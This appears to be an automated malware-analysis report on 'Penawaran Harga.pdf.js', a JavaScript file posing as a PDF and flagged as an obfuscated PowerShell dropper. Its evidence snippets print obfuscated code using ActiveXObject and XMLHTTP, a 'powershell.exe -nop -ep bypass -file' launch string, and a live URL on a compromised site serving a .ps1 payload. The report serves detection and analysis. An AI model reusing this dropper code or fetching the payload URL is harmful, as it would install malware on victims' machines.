Hostile ^92% Download

Penawaran Harga.pdf.js

Obfuscated PowerShell dropper

Obfuscated ActiveX JS uses PS ep bypassActiveXObject constructor reference

SHA-2562556b5d44b0d1fb016097d12b2de68c597a3866eec88adbb06b64dfa13302892

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₄(ErAs₃CXe)H₆(Cm₃Cr₂Db₈FOsPo₇)Md

Evidence

References an XMLHTTP COM client lines 1–11

1function _0x20d1() {
  var _0x1352d2 = _0x786d, _0x45f109 = _0x786d, _0x536451 = _0x786d, _0x4e2f1c = _0x786d, _0xc96642 = _0x786d, _0x3ef581 = _0x786d, _0x5f1ea0 = _0x786d, _0x3dd4c3 = {
          'sNHLS': _0x1352d2(0x27, '8GL6'),
          'jucNQ': 'substring',
          'ilyfM': 'MSXML2.XMLHTTP',
          'GMubW': _0x1352d2(0x2f, 'lD5C'),
          'QcCJO': 'address',
⋯4 lines

Source contains low-bit mask syntax lines 28–42

8…      _0x3dd4c3['sNHLS'],
          _0x3dd4c3[_0x536451(0x7, 'W4&1')],
          _0x3dd4c3[_0xc96642(0x50, '*4c8')],
          _0x3dd4c3['GMubW'],
⋯5 lines
          _0x3dd4c3[_0x5f1ea0(0x1e, 'V(hv')],
          'bHnCZ',
          _0x3dd4c3[_0x1352d2(0x3f, 'NA]8')],
          _0x3dd4c3[_0x1352d2(0xb, '$8#)')],
          _0x3dd4c3[_0x45f109(0xf, 'C*hZ')],
          _0x3dd4 …

Hex-prefixed function names (_0x pattern) lines 60–70

7… turn _0x20d1 = function () {
      return _0xd522b0;
  }, _0x3dd4c3[_0x1352d2(0x1b, '0(^l')](_0x20d1);
63}
64function _0x157a(_0x4d76e2, _0x70f867) {
  var _0x43e513 = _0x786d, _0x2b965f = {
          'kpviO': function (_0x24f52b, _0x574814) {
              return _0x24f52b - _0x574814;
          },
          'bNVGq': function (_0x2c5746) {
…

PowerShell nop/ep-bypass -File launch lines 158–168

39… C*hZ'),
          'gHXni': function (_0x39c6a4, _0x4354c4) {
              return _0x39c6a4 + _0x4354c4;
          },
          'GEkKn': 'powershell.exe\x20-nop\x20-ep\x20bypass\x20-file\x20\x22',
          'VcFkI': _0x8c0a79(0x8, 'ieC2'),
          'iisyy': '3|5|0|4|2|1',
          'sKLYR': function (_0x80f5ae, _0x2df8d3) {
              return _0x80f5ae(_0x2df8d3);
          },
          'yndhE': _0x116bd9(0x19, 'lX#$' …

URL ends in .cmd, .ps1 or .dll lines 215–231

4…              var _0x1696fe = _0x116bd9;
              return _0x33c00b[_0x1696fe(0x1d, 'W4&1')](_0x3fb99c, _0x37c228);
          },
          'AVDeM': function (_0x18adcf, _0x35bf51) {
              var _0x5904c7 = _0x332545;
              return _0x33c00b[_0x5904c7(0x36, 'JXZf')](_0x18adcf, _0x35bf51);
          },
          'oUVDa': _0x33c00b[_0x116bd9(0x3c, '*4c8')](_0x59ed32, 0xc),
          'GEViZ': _0x59ed32(0x16),
          'japCP': _0x33c00b[_0x26293e(0x4a, 'WoyJ')]
      }, _0x187b2b = {};
  _0x187b2b[_0x33c00b[_0x332545(0x54, 'JXZf')](_0x59ed32, 0x4)] = 'https://www.correa.ind.br/wp-includes/Text/bnguyj1/qbg1plo/ytlfv1i/cc/securedd_stub.ps1', _0x187b2b[_0x33c00b['rbyvH'](_0x59ed32, 0x1b)] = _0x3fe58c[_0x33c00b['MJSbO'](_0x5c7478, 0x11)], _0x187b2b[_0x33c00b[_0x116bd9(0x56, 'WF2A')](_0x59ed32, 0x8)] = 0x2;
  var _0x1de69f = _0x187b2b, _0x4831b8 = new ActiveXObject(_0x3fe58c[_0x33c00b[_0xc4acc0(0x3b, 'jDy2')](_0x4a46c3, 0x18)]), _0x2adb46 = new ActiveXObject(_0x3fe58c[_0x33c00b[_0x5df30c(0x18, '0(^l')]]), _0x4a5094 = new ActiveXObject(_0x5c7478(0x2));
  function _0x30312b(_0x49d27a) {
      var _0x5b9291 = _0x8c0a79, _0x1718d9 = _0x38ee0f, _0x39de3d = _0x38ee0f;
      try {
          retur …